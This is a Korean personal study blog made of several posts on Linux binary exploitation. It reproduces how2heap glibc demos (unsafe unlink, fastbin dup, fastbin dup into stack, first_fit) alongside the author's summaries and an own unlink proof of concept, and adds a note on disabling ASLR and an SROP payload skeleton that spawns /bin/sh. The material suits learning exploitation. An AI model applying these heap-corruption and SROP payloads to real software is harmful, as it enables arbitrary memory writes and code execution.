[how2heap] unsafe unlink

공부 2016. 12. 26. 19:10
반응형
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
	printf("Welcome to unsafe unlink 2.0!\n");
	printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
	printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
	printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

	int malloc_size = 0x80; //we want to be big enough not to use fastbins
	int header_size = 2;

	printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
	printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

	printf("We create a fake chunk inside chunk0.\n");
	printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	printf("We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
	printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n");
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
	printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]);

	printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
	printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
	chunk1_hdr[0] = malloc_size;
	printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
	printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n");
	chunk1_hdr[1] &= ~1;

	printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
	printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n");
	free(chunk1_ptr);

	printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
	printf("Original value: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	printf("New Value: %s\n",victim_string);
}



정리.


힙 청크 구조는 아래와 같다.


struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};


먼저 unlink를 우회하기 위해서 fd, bk를 자기 자신으로 작성한다.


그 다음에 chunk1을 조작해서 prev_in_use bit (이전 chunk가 free 되있는지)와 prev_size를 지정해준다.


그런 다음에 free를 해주게 되는데 chunk0(free 함수를 속임)와 chunk1이 free되었기 때문에


위와 malloc_chunk의 fd, bk를 사용할 수 있다. 즉, 자기 fd값을 덮어씌우게 되면 어디든지 가리킬 수 있게 된다.



아래는 이해하기 위해서 만든 poc


#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include "./how2heap/dumpcode.h"

uint64_t *a;

int main(){
    uint64_t *b;
    int head_size = 0x02;

    a = malloc(0x80);
    b = malloc(0x80);

    dumpcode(a - head_size, 0x80);
    dumpcode(b - head_size, 0x80);

    a[2] = (uint64_t)&a - sizeof(uint64_t) * 3;
    a[3] = (uint64_t)&a - sizeof(uint64_t) * 2;

    uint64_t *ptr = b - head_size;

    ptr[0] = (uint64_t)0x80;
    ptr[1] &= ~1; // in use option disable.

    free(b);

    dumpcode(a - head_size, 0x160);

    printf("Yeah %p\n", a[3]);
    a[3] = (uint64_t)&head_size;
    a[0] = 9505;
    printf("is changed? %d\n", head_size);

    return 0;
}


'공부' 카테고리의 다른 글

[C++] 프로그램 관리자 권한 요구  (0) 2017.01.04
[how2heap] house_of_spirit  (0) 2016.12.28
[how2heap] fast bin dup into stack  (0) 2016.12.25
[how2heap] fastbin dup  (0) 2016.12.25
[how2heap] first_fit  (0) 2016.12.25
블로그 이미지

KuroNeko_

KuroNeko

,
반응형
#include <stdio.h>
#include <stdlib.h>

int main()
{
	printf("This file extends on fastbin_dup.c by tricking malloc into\n"
	       "returning a pointer to a controlled location (in this case, the stack).\n");

	unsigned long long stack_var;

	printf("The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

	printf("Allocating 3 buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	printf("1st malloc(8): %p\n", a);
	printf("2nd malloc(8): %p\n", b);
	printf("3rd malloc(8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	printf("Now the free list has [ %p, %p, %p ]. "
		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
	unsigned long long *d = malloc(8);

	printf("1st malloc(8): %p\n", d);
	printf("2nd malloc(8): %p\n", malloc(8));
	printf("Now the free list has [ %p ].\n", a);
	printf("Now, we have access to %p while it remains at the head of the free list.\n"
		"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
		"so that malloc will think there is a free chunk there and agree to\n"
		"return a pointer to it.\n", a);
	stack_var = 0x20;

	printf("Now, we overwrite the first 8 bytes of the data at %p to point right after the 0x20.\n", a);
	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

	printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
	printf("4rd malloc(8): %p\n", malloc(8));
}



정리.


먼저 fast bin dup을 진행해준 다음 다시 할당을 하게 되면 top에 있는 a 주소를 조작할 수 있게 된다.


그럼 거기에 fake chunk address를 집어넣어준 상태에서 할당을 진행 하게 되면


free list에서스택에서 할당을 진행하게 된다.


하지만 Ubuntu 16.04 버전에서 확인한 결과 memory corruption이 뜬다.


아마도 다른 영역(bss)를 사용하는게 좋을 듯하다.


실험 삼아서 사용자가 원하는 주소로 덮어씌울 수 있게 했더니 Segmetation Fault가 떴다.


내가 Ubuntu 16.04 버전을 사용중인데,


puts나 printf 함수에서 malloc을 사용하는 것을 볼 수 있었다.


내가 맨 마지막에 malloc 두번을 한거에서 할당이 되어야 작동이 될텐데,


puts, printf 함수에서 malloc이 내부적으로 사용되니까 안되던 것이다.


아래는 메모리 구조 사진



'공부' 카테고리의 다른 글

[how2heap] house_of_spirit  (0) 2016.12.28
[how2heap] unsafe unlink  (0) 2016.12.26
[how2heap] fastbin dup  (0) 2016.12.25
[how2heap] first_fit  (0) 2016.12.25
libc randomization disable  (7) 2016.12.10
블로그 이미지

KuroNeko_

KuroNeko

,

[how2heap] fastbin dup

공부 2016. 12. 25. 20:23
반응형
#include <stdio.h>
#include <stdlib.h>

int main()
{
	printf("This file demonstrates a simple double-free attack with fastbins.\n");

	printf("Allocating 3 buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	printf("1st malloc(8): %p\n", a);
	printf("2nd malloc(8): %p\n", b);
	printf("3rd malloc(8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
	printf("1st malloc(8): %p\n", malloc(8));
	printf("2nd malloc(8): %p\n", malloc(8));
	printf("3rd malloc(8): %p\n", malloc(8));
}



정리.


할당된 영역을 free를 하게 되면 free list에 주소가 들어가게 되는데 이게 링크드 리스트라서 head 주소 밖에 검사를 안하는 듯하다.


그래서 다른 주소를 free한번 해주고 다시 free 시켜주면 dup이 가능하다.

'공부' 카테고리의 다른 글

[how2heap] unsafe unlink  (0) 2016.12.26
[how2heap] fast bin dup into stack  (0) 2016.12.25
[how2heap] first_fit  (0) 2016.12.25
libc randomization disable  (7) 2016.12.10
SigReturn Oriented Programming (SROP)  (0) 2016.08.13
블로그 이미지

KuroNeko_

KuroNeko

,

[how2heap] first_fit

공부 2016. 12. 25. 19:54
반응형
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
	printf("This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
	printf("glibc uses a first-fit algorithm to select a free chunk.\n");
	printf("If a chunk is free and large enough, malloc will select this chunk.\n");
	printf("This can be exploited in a use-after-free situation.\n");

	printf("Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
	char* a = malloc(512);
	char* b = malloc(256);
	char* c;

	printf("1st malloc(512): %p\n", a);
	printf("2nd malloc(256): %p\n", b);
	printf("we could continue mallocing here...\n");
	printf("now let's put a string at a that we can read later \"this is A!\"\n");
	strcpy(a, "this is A!");
	printf("first allocation %p points to %s\n", a, a);

	printf("Freeing the first one...\n");
	free(a);

	printf("We don't need to free anything again. As long as we allocate less than 512, it will end up at %p\n", a);

	printf("So, let's allocate 500 bytes\n");
	c = malloc(500);
	printf("3rd malloc(500): %p\n", c);
	printf("And put a different string here, \"this is C!\"\n");
	strcpy(c, "this is C!");
	printf("3rd allocation %p points to %s\n", c, c);
	printf("first allocation %p points to %s\n", a, a);
	printf("If we reuse the first allocation, it now holds the data from the third allocation.");
}



정리.



청크가 free가 되있고 충분히 크다면 원래 크기보다 작은 크기가 할당이 됐을 때


first_fit 알고리즘을 사용해서 free된 청크의 동일한 주소에 할당이 된다. (UAF)

'공부' 카테고리의 다른 글

[how2heap] fast bin dup into stack  (0) 2016.12.25
[how2heap] fastbin dup  (0) 2016.12.25
libc randomization disable  (7) 2016.12.10
SigReturn Oriented Programming (SROP)  (0) 2016.08.13
gs 베이스 주소 구하기  (0) 2016.05.09
블로그 이미지

KuroNeko_

KuroNeko

,

libc randomization disable

공부 2016. 12. 10. 23:37
반응형

libc 의 베이스 어드레스를 고정된 주소로 변경하고 싶을 때 사용하는 방법으로 


ulimit -s unlimited


를 사용하면 되는데 32bit에서만 가능하다.


즉 setarch로 환경 설정해주면 되겠다.


$ setarch linux32 -R /bin/bash

$ ulimit -s unlimited

'공부' 카테고리의 다른 글

[how2heap] fastbin dup  (0) 2016.12.25
[how2heap] first_fit  (0) 2016.12.25
SigReturn Oriented Programming (SROP)  (0) 2016.08.13
gs 베이스 주소 구하기  (0) 2016.05.09
[Codegate] 주저리  (0) 2016.05.06
블로그 이미지

KuroNeko_

KuroNeko

,
반응형


개념


ROP의 변종이며 많은 가젯의 필요없이 int 0x80가 있으면 되는 공격기법이다.


syscall 번호는 119번이며 eax(rax)로 호출된다.



설명

struct sigcontext {
        unsigned short gs, __gsh;
        unsigned short fs, __fsh;
        unsigned short es, __esh;
        unsigned short ds, __dsh;
        unsigned long edi;
        unsigned long esi;
        unsigned long ebp;
        unsigned long esp;
        unsigned long ebx;
        unsigned long edx;
        unsigned long ecx;
        unsigned long eax;
        unsigned long trapno;
        unsigned long err;
        unsigned long eip;
        unsigned short cs, __csh;
        unsigned long eflags;
        unsigned long esp_at_signal;
        unsigned short ss, __ssh;
        struct _fpstate *fpstate;
        unsigned long oldmask;
        unsigned long cr2;
};
struct sigcontext {
        unsigned long r8;
        unsigned long r9;
        unsigned long r10;
        unsigned long r11;
        unsigned long r12;
        unsigned long r13;
        unsigned long r14;
        unsigned long r15;
        unsigned long rdi;
        unsigned long rsi;
        unsigned long rbp;
        unsigned long rbx;
        unsigned long rdx;
        unsigned long rax;
        unsigned long rcx;
        unsigned long rsp;
        unsigned long rip;
        unsigned long eflags;           /* RFLAGS */
        unsigned short cs;
        unsigned short gs;
        unsigned short fs;
        unsigned short __pad0;
        unsigned long err;
        unsigned long trapno;
        unsigned long oldmask;
        unsigned long cr2;
        struct _fpstate *fpstate;       /* zero when no FPU context */
        unsigned long reserved1[8];
};

첫번째는 32bit, 두번째는 64bit 환경에서 sigcontext.h(경로는 /usr/include/x86_64-linux-gnu/asm/)다.


SigReturn를 호출하게되면 스택에 넣었던 값들이 차곡차곡 레지스터에 들어가게 된다.


아래와 같은 소스코드를 컴파일(64bit) 후에 Exploit해보자.



#include <stdio.h> char binsh[] = "/bin/sh\x00"; void gadget(){ asm("int $0x80"); } void main(){ int buf[4]; read(0, buf, 1295); }


read함수에서 1295는 헥스값으로 050f이고 이걸 리틀엔디언으로 보게 되면


0f 05 인데, 이건 64환경에서 syscall 명령이다.(pwnable.kr 문제 힌트기도 하다.)


어쨋든,..



생각을 해보자.


먼저 read함수는 입력받은 길이를 eax에 리턴해준다. syscall에서 eax를 보고 실행한다는 건 아까전에 말해서 알고 있을 것이다.


또, 가젯은 주어져있고 따로 구할 필요가 없다.


페이로드는 아래와 같이 짜면 될 것 같다.



import struct


p = lambda x : struct.pack("<Q", x)

p32 = lambda x : struct.pack("<L", x)


gadget_80 = gadget함수의 asm 주소

binsh       = binsh 문자열 주소


payload   = ""

payload += "A" * 16

payload += "B" * 8

payload += p(gadget_80)

payload += p(0) * 11

payload += p(binsh)

payload += p(0)

payload += p(0x0b)        # excve Syscall number

payload += p(0)

payload += p(gadget_80)

payload += p(0)

payload += p32(gdb에서 본 cs값)

payload += p32(gdb에서 본 gs값)

payload += p32(gdb에서 본 fs값)

payload += p32(0)


print payload


'공부' 카테고리의 다른 글

[how2heap] first_fit  (0) 2016.12.25
libc randomization disable  (7) 2016.12.10
gs 베이스 주소 구하기  (0) 2016.05.09
[Codegate] 주저리  (0) 2016.05.06
[pwnable.kr] 주저리  (0) 2016.02.25
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

strace -f ./파일명 2>&1 | grep thread_area

'공부' 카테고리의 다른 글

libc randomization disable  (7) 2016.12.10
SigReturn Oriented Programming (SROP)  (0) 2016.08.13
[Codegate] 주저리  (0) 2016.05.06
[pwnable.kr] 주저리  (0) 2016.02.25
Kernel Exploit  (0) 2016.02.22
블로그 이미지

KuroNeko_

KuroNeko

,

[Codegate] 주저리

공부 2016. 5. 6. 17:43
반응형

문제 풀면서 기법들을 다 점검해 보고 있는데, main함수의 ret시 __libc_start_main함수로 다시 돌아가는데



[ 주어진 libc파일 중 일부 ]

.text:0001873E                 add     esp, 10h

.text:00018741

.text:00018741 loc_18741:                              ; CODE XREF: __libc_start_main+1C4j

.text:00018741                 sub     esp, 0Ch

.text:00018744                 push    eax             ; status

.text:00018745                 call    exit


이 부분으로 돌아간다고 한다.


근데 막상 gdb로 해서 disassemble해보니까 다르게 나오더라.. ㅂㄷㅂㄷ


pwntool에서는 그냥 symbol로 찾는 거 밖에 없어서 offset구할 때는 제격인데


이렇게 __libc_start_main_ret를 찾는 건 __libc_start_main내에서 exit를 호출하는 곳을 찾으면 될 것같은데,


굳이 이렇게 까지 해야하나 싶고 다른방법이 존재할 것만 같으니까 삽질을 계속 해봐야겠다.

'공부' 카테고리의 다른 글

SigReturn Oriented Programming (SROP)  (0) 2016.08.13
gs 베이스 주소 구하기  (0) 2016.05.09
[pwnable.kr] 주저리  (0) 2016.02.25
Kernel Exploit  (0) 2016.02.22
Template 공부  (0) 2016.02.09
블로그 이미지

KuroNeko_

KuroNeko

,